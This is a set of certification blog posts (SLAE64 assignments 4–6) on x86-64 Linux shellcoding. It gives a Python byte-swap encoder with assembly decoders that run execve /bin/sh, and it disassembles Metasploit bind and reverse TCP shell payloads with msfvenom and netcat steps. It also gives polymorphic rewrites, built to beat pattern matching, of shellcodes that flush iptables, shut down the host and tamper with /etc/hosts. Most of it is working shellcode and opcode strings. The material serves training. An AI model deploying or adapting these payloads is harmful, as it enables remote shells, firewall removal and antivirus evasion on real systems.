SLAE64 – Assignment #4 – Encoder/Decoder Shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #4

The aim of this assignment is to write a custom shellcode encoder and decoder.

The first thing to do is to dump all the opcodes of the shellcode and think to a way to mix all of them.

Here I’ve chosen a simple but effective algorithm. The encoder starts to swap the first and last opcode then continues to swap opcodes until it reaches the middle of the opcodes. My implementation only works if there is an even number of opcodes. If not, you just need to add  one dummy opcode like a NOP. I’ve called this encoder, the « Mirror Encoder ».

Here is a simple diagram showing how this algorithm works :

Encoder

Here is a screenshot of this running encoder and the encoded shellcode :

Mirror-Encoder.py :

#!/usr/bin/python

# This shellcode encoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
# http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
#
# Author : SLAE64-PA-6470 (kahlon81)

# python Mirror-Encoder.py 

shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")

encoded = ""
encoded2 = ""
r2 = ""
l2 = ""
rr2 = ""
ll2 = ""

print 'Len: %d' % len(bytearray(shellcode))
print 'Encoded shellcode ...'

arr = bytearray(shellcode)
arr2 = [(arr[i], arr[-i-1]) for i in range(len(arr) // 2)]
#print arr2

for x in range(len(arr2)):
  y = arr2[x]

  # encode for C
  r = '\\x'
  r += '%02x' % y[0]
  r2 = r + r2

  l = '\\x'
  l += '%02x' % y[1]
  l2 = l2 + l

  # encode for ASM
  r = '0x'
  r += '%02x,' % y[0]
  rr2 = r + rr2

  l = '0x'
  l += '%02x,' % y[1]
  ll2 = ll2 + l

# Build encoded strings
encoded = l2 + r2
encoded2 = ll2 + rr2

print 'opcodes for C :'
print encoded
print 'opcodes for ASM :'
print encoded2

Decoder

The decoder is written in assemby and just do the reverse swap.

Here is a screenshot of the running decoder. It decodes the previously encoded shellcode and run it :

The code is self-explanatory, 2 versions available.

Full source code is available here and on my Github account.

Version 1

; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o
; $ ld Mirror-Decoder.o -o Mirror-Decoder

global _start

section .data
encoded_sc:	db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48
encoded_sc_size equ $ - encoded_sc

section .text
_start:
	lea r8, [rel encoded_sc]
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, encoded_sc_size - 1 ; offset to last SC byte = SC length -1         
	mov r9, encoded_sc_size	     ; r9 = SC size / 2
	shr r9, 1
decode:
	cmp rcx, r9                  ; SC length / 2 - stop swapping bytes when we are in the middle
	je encoded_sc                ; go to decoded shellcode
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp short decode                 

Version 2 (JUMP-CALL-POP)

; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o
; $ ld Mirror-Decoder.o -o Mirror-Decoder

global _start

section .text   
_start:	
        jmp ONSTACK   
GO_LOOP:
        pop r8                       ; r8 is the SC address. pop esi crash ?;
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, SC_SIZE - 1         ; offset to last SC byte = SC length -1         
	mov r9, SC_SIZE		     ; r9 = SC_SIZE / 2
	shr r9, 1
LOOP:
	cmp rcx, r9                  ; SC length / 2 - stop swapping bytes when we are in the middle
	je SC                        ; go to decoded shell code
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp LOOP                 
section .data
ONSTACK:
	call GO_LOOP
SC:	db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48
SC_SIZE equ $ - SC

SLAE64 – Assignment #5 – Reverse Engineering Msfpayload Shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #5

The aim of this assignment is to dissect functionnality of 3 payloads from Metasploit.

The tool msfpayload has been replaced by msfvenom.

So first, I just list all linux x64 payloads using msfvenom :

msfvenom -l payload | grep linux/x64
 linux/x64/exec Execute an arbitrary command
 linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
 linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
 linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
 linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
 linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
 linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
 linux/x64/shell_find_port Spawn a shell on an established connection
 linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

I’ve chosen to do the analysis of the following payloads :

  • linux/x64/shell_bind_tcp
  • linux/x64/shell_reverse_tcp
  • linux/x64/shell_bind_tcp_random_port

Analysis of linux/x64/shell_bind_tcp

First, I generate the payload  :

msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp -f elf > shell_bind_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of elf file: 206 bytes

Then I’ve tested it :

On the target :
chmod +x shell_bind_tcp 
./shell_bind_tcp
On my computer :
nc <Target IP> 4444

In order to dissect the code, I first search entry point address from the binary :

readelf -a ./shell_bind_tcp 
ELF Header:
 Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
 Class: ELF64
 Data: 2's complement, little endian
 Version: 1 (current)
 OS/ABI: UNIX - System V
 ABI Version: 0
 Type: EXEC (Executable file)
 Machine: Advanced Micro Devices X86-64
 Version: 0x1
 Entry point address: 0x400078
 Start of program headers: 64 (bytes into file)
 Start of section headers: 0 (bytes into file)
 Flags: 0x0
 Size of this header: 64 (bytes)
 Size of program headers: 56 (bytes)
 Number of program headers: 1
 Size of section headers: 0 (bytes)
 Number of section headers: 0
 Section header string table index: 0

I then debug the code under gdb

gdb ./shell_bind_tcp
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 push 0x29 
 │0x40007a pop rax 
 │0x40007b cdq 
 │0x40007c push 0x2 
 │0x40007e pop rdi 
 │0x40007f push 0x1 
 │0x400081 pop rsi 
 │0x400082 syscall

sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Bind TCP socket on port 4444

>│0x400084 xchg rdi,rax 
 │0x400086 push rdx 
 │0x400087 mov DWORD PTR [rsp],0x5c110002 
 │0x40008e mov rsi,rsp 
 │0x400091 push 0x10 
 │0x400093 pop rdx 
 │0x400094 push 0x31 
 │0x400096 pop rax 
 │0x400097 syscall

sys_bind (rax = 49) int fd (rdi) struct sokaddr *umyaddr (rsi) int addrlen (rdx = 0x10)

where rsi points to stack with C structure :

struct sockaddr_in {
 uint8_t sin_len; /* total length */
 sa_family_t sin_family; /* family : AF_INET */
 in_port_t sin_port; /* port number */
 struct in_addr sin_addr; /* inet address */
 unsigned char sin_zero[8]; /* 8 zeros */
};

sin_addr = 0 (push rdx) = INADDR_ANY = any address for binding

>│0x400084 xchg rdi,rax 
 │0x400086 push rdx

sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
mov DWORD PTR [rsp],0x5c110002

sin_family = 2 = AF_INET
mov DWORD PTR [rsp],0x5c110002

sin_len = 0x10
push 0x10
pop rdx

3) Socket listen

│0x400099 push 0x32 
 │0x40009b pop rax 
 │0x40009c syscall

syscall sys_listen (rax = 50) int fd int backlog

4) Accept connection

│0x40009e xor rsi,rsi 
│0x4000a1 push 0x2b 
│0x4000a3 pop rax 
│0x4000a4 syscall

sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen

5) Duplicate socket (stdin, stout, stderr)
 
 >│0x4000a6 xchg rdi,rax 
 │0x4000a8 push 0x3 
 │0x4000aa pop rsi 
 │0x4000ab dec rsi 
 │0x4000ae push 0x21 
 │0x4000b0 pop rax 
 │0x4000b1 syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

6) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

0x4000b3 jne 0x4000ab 
 │0x4000b5 push 0x3b 
 │0x4000b7 pop rax 
 │0x4000b8 cdq 
 │0x4000b9 movabs rbx,0x68732f6e69622f 
 │0x4000c3 push rbx 
 │0x4000c4 mov rdi,rsp 
 │0x4000c7 push rdx 
 │0x4000c8 push rdi 
 │0x4000c9 mov rsi,rsp 
 │0x4000cc syscall

Analysis of linux/x64/shell_reverse_tcp

First, I generate the payload :

msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp -f elf > shell_reverse_tcp

Then I’ve tested it :

My computer :
nc -nlvp 4444
Target :
chmod +x shell_reverse_tcp 
./shell_reverse_tcp

Then in order to dissect the code, I debug it with gdb

gdb ./shell_reverse_tcp
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 push 0x29 
 │0x40007a pop rax 
 │0x40007b cdq 
 │0x40007c push 0x2 
 │0x40007e pop rdi 
 │0x40007f push 0x1 
 │0x400081 pop rsi 
 │0x400082 syscall

sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Connect socket to port 4444 on localhost

│0x400084 xchg rdi,rax 
 │0x400086 movabs rcx,0x2801a8c05c110002 
 │0x400090 push rcx 
 │0x400091 mov rsi,rsp 
 │0x400094 push 0x10 
 │0x400096 pop rdx 
 │0x400097 push 0x2a 
 │0x400099 pop rax 
 │0x40009a syscall
 │0x400084 xchg rdi,rax

Keep socket stream fd

│0x400086 movabs rcx,0x2801a8c05c110002 
 │0x400090 push rcx 
 │0x400091 mov rsi,rsp

rsi points to stack with C structure :

struct sockaddr_in {
 uint8_t sin_len; /* total length */
 sa_family_t sin_family; /* family : AF_INET */
 in_port_t sin_port; /* port number */
 struct in_addr sin_addr; /* inet address */
 unsigned char sin_zero[8]; /* 8 zeros */
};
 
sin_family = 2 = AF_INET 
sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
sin_addr = 2801a8c0 = 192.168.1.40 in reverse order

│0x400094 push 0x10 
│0x400096 pop rdx

Put addrlen on stack

│0x400097 push 0x2a 
 │0x400099 pop rax 
 │0x40009a syscall

sys_connect (rax = 0x2a) int fd (rdi = rax = socket stream) struct sockaddr *uservaddr (rsi) int addrlen (rdx = 0x10)

3) Duplicate socket (stdin, stout, stderr)

│0x40009c push 0x3 
 │0x40009e pop rsi 
 │0x40009f dec rsi 
 │0x4000a2 push 0x21 
 │0x4000a4 pop rax 
 │0x4000a5 syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

4) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

│0x4000a7 jne 0x40009f 
 │0x4000a9 push 0x3b 
 │0x4000ab pop rax 
 │0x4000ac cdq 
 │0x4000ad movabs rbx,0x68732f6e69622f 
 │0x4000b7 push rbx 
 │0x4000b8 mov rdi,rsp 
 │0x4000bb push rdx 
 │0x4000bc push rdi 
 │0x4000bd mov rsi,rsp 
 │0x4000c0 syscall

Analysis of linux/x64/shell_bind_tcp_random_port

First, I generate the payload :

msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp_random_port -f elf > shell_bind_tcp_random_port

No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
Final size of elf file: 177 bytes

Then I’ve tested it :

Target :
chmod +x shell_bind_tcp_random_port 
./shell_bind_tcp_random_port
My computer :

Search port :
nmap -sS <Target> -p-

Connect to target :
nc <Target IP> <Port>

Then in order to dissect the code, I debug it with gdb :

gdb ./shell_bind_tcp_random_port
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 xor rsi,rsi 
 │0x40007b mul rsi 
 │0x40007e inc esi 
 │0x400080 push 0x2 
 │0x400082 pop rdi 
 │0x400083 mov al,0x29 
 │0x400085 syscall

sys_socket (rax = 41) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Socket listen

│0x400087 push rdx 
│0x400088 pop rsi 
│0x400089 push rax 
│0x40008a pop rdi 
│0x40008b mov al,0x32 
│0x40008d syscall

syscall sys_listen (rax = 50) int fd int backlog

Socket listen on random port

3) Accept connection

│0x40008f mov al,0x2b 
│0x400091 syscall

sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen

Process is waiting connexion

4) Duplicate socket (stdin, stout, stderr)

│0x400093 push rdi 
│0x400094 pop rsi 
│0x400095 xchg rdi,rax 
│0x400097 dec esi 
│0x400099 mov al,0x21 
│0x40009b syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

5) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

│0x40009d jne 0x400097 
│0x40009f push rdx 
│0x4000a0 movabs rdi,0x68732f6e69622f2f 
│0x4000aa push rdi 
│0x4000ab push rsp 
│0x4000ac pop rdi 
│0x4000ad mov al,0x3b 
│0x4000af syscall

SLAE64 – Assignment #6 – Polymorphic versions of shellcodes from Shell-Storm

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #6

The aim of this assignment is to take 3 shellcodes from shell-storm.org and to create a polymorphic version of them (to beat pattern-matching).

I’ve chosen to rewrite the following shellcodes :

  • http://shell-storm.org/shellcode/files/shellcode-683.php
  • http://shell-storm.org/shellcode/files/shellcode-877.php
  • http://shell-storm.org/shellcode/files/shellcode-896.php

shellcode-683

Version 1

I’ve changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 49 bytes

Polymorphic version is smaller :  43 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-683-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\xeb\x0b\x5f\x50\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 43 bytes
;
; nasm -f elf64 shellcode-683-polymorphic.nasm -o shellcode-683-polymorphic.o
; ld shellcode-683-polymorphic.o -o shellcode-683-polymorphic
; 
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-683.php
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
; Author: 10n1z3d <10n1z3d[at]w[dot]cn>
; Date: Fri 09 Jul 2010 03:26:12 PM EEST
     
section .text
global _start
         
_start:
    xor     rax, rax
    push    rax
    push    word 0x462d
    mov     rcx, rsp

jmp call_shellcode 
shellcode:
    pop rdi

    push    rax
    push    rcx
    push    rdi
    mov     rsi, rsp
         
    mov     al, 0x3b
    syscall

call_shellcode:
   call shellcode
   iptables: db '/sbin/iptables'

Version 2

Original size : 49 bytes

Polymorphic version is larger :  61 bytes but its size is < 150 % of the original size

I’ve replaced :

  • xor by mov and sub
  • push by mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; 
; nasm -f elf64 shellcode-683-polymorphic2.nasm -o shellcode-683-polymorphic2.o
; ld shellcode-683-polymorphic2.o -o shellcode-683-polymorphic2
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
     
     
; Source Code (NASM):
     
section .text

global _start
         
_start:
;   xor     rax, rax
mov rbx, rax
sub rax, rbx 
        
push    rax

push    word 0x462d
mov     rcx, rsp
         
mov     rbx, 0x73656c626174ffff
shr     rbx, 0x10

;   push    rbx
mov qword [rsp - 8], rbx
sub rsp, 8
        
mov     rbx, 0x70692f6e6962732f
push    rbx

mov     rdi, rsp
         
push    rax
push    rcx
push    rdi

mov     rsi, rsp
         
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov     al, 0x3b
syscall

 

shellcode-877

Version 1

I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 65 bytes

Polymorphic version is smaller : 60 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-877-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
;
; nasm -f elf64 shellcode-877-polymorphic.nasm -o shellcode-877-polymorphic.o
; ld shellcode-877-polymorphic.o -o shellcode-877-polymorphic
;
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-877.php
;
; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

  xor rax, rax
  xor rdx, rdx 

  push rax
  push byte 0x77
  push word 0x6f6e ; now
  mov rbx, rsp

  push rax
  push word 0x682d ;-h
  mov rcx, rsp

  push rax

  jmp call_shellcode 
shellcode:
  pop rdi

  push rdx
  push rbx
  push rcx
  push rdi
  mov rsi, rsp

  add rax, 59
  syscall
call_shellcode:
  call shellcode
  shutdown: db '/sbin/shutdown'
/*
*
* Author : SLAE64-PA-6470 (kahlon81)
* Date : 2018/02/21
*
* Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
*
* for i in $(objdump -d shellcode-877-polymorphic.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
*
* gcc -fno-stack-protector -z execstack shellcode-877-polymorphic.c -o shellcode-877-poly
*
*/

#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e";

main()
{

	printf("Shellcode Length:  %d\n", (int)strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Version 2

Original size : 65 bytes

Polymorphic version is larger :  87 bytes but its size is < 150 % of the original size

I’ve replaced :

  • xor by mov and sub
  • push with mov and sub
  • add dummy instructions (unused register)
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21

; nasm -f elf64 shellcode-877-polymorphic2.nasm -o shellcode-877-polymorphic2.o
; ld shellcode-877-polymorphic2.o -o shellcode-877-polymorphic2

; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Original Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

;xor rax, rax
mov rbx, rax
sub rax, rbx

xor rdx, rdx 

; dummy instruction
xor r9, r9
add r9b, 0x33

;push rax
mov qword [rsp - 8], rax
sub rsp, 8

push byte 0x77
push word 0x6f6e ; now
mov rbx, rsp

push rax
push word 0x682d ;-h
mov rcx, rsp

; dummy instruction
sub r9b, 0x12

push rax
mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown
mov r10, 0x6e776f6474756873
push r10
push r8
mov rdi, rsp

push rdx
push rbx
push rcx
push rdi
mov rsi, rsp

add rax, 59

syscall

shellcode-896

Version 1

I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 110 bytes

Polymorphic version is smaller :  101 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-896-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x83\xc0\x02\x48\x31\xff\x48\x31\xf6\x56\xeb\x46\x5f\x48\x31\xf6\x66\x81\xc6\x01\x04\x0f\x05\x48\x97\x48\x31\xc0\x48\x83\xc0\x01\xeb\x18\x5e\xb2\x13\x0f\x05\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe3\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\xe8\xb5\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - Add map in /etc/hosts file - 102 bytes
;
; nasm -f elf64 shellcode-896-polymorphic.nasm -o shellcode-896-polymorphic.o
; ld shellcode-896-polymorphic.o -o shellcode-896-polymorphic
;
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
    section .text

_start:
    ;open
    xor rax, rax 
    add rax, 2  ; open syscall
    xor rdi, rdi
    xor rsi, rsi
    push rsi ; 0x00 
    
    jmp call_shellcode 
shellcode:
    pop rdi

    xor rsi, rsi
    add si, 0x401
    syscall

    ;write
    xchg rax, rdi
    xor rax, rax
    add rax, 1 ; syscall for write
    jmp data

write:
    pop rsi 
    mov dl, 19 ; length in rdx
    syscall

    ;close
    xor rax, rax
    add rax, 3
    syscall

    ;exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi
    syscall 

data:
    call write
    text db '127.1.1.1 google.lk'
call_shellcode:
    call shellcode
    hosts: db '/etc/hosts'

Here is a screenshot of this running shellcode :

Version 2

Original size : 110 bytes

Polymorphic version is larger :  144 bytes but its size is < 150 % of the original size

I’ve replaced :

  • mov rcx, 0x1f1f1f1f5364551f with MMX instructions
  • push r10 with mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; nasm -f elf64 shellcode-896-polymorphic2.nasm -o shellcode-896-polymorphic2.o
; ld shellcode-896-polymorphic2.o -o shellcode-896-polymorphic2

; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Original author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
    section .text

_start:
    ;open
    xor rax, rax 
    add rax, 2  ; open syscall
    xor rdi, rdi
    xor rsi, rsi
    push rsi ; 0x00
 
    ;mov r8, 0x2f2f2f2f6374652f ; stsoh/
    mov rcx, 0x1f1f1f1f5364551f  
    movq mm0, rcx               
    mov rcx, 0x1010101010101010 
    movq mm1, rcx
    paddusb mm0, mm1            
    movq r8, mm0
    emms   

    mov r10, 0x7374736f682f2f2f ; /cte/

    ;push r10
    mov qword [rsp - 8], r10
    sub rsp, 8

    push r8
    add rdi, rsp
    xor rsi, rsi
    add si, 0x401
    syscall

    ;write
    xchg rax, rdi
    xor rax, rax
    add rax, 1 ; syscall for write
    jmp data

write:
    pop rsi 
    mov dl, 19 ; length in rdx
    syscall

    ;close
    xor rax, rax
    add rax, 3
    syscall

    ;exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi
    syscall 

data:
    call write
    text db '127.1.1.1 google.lk'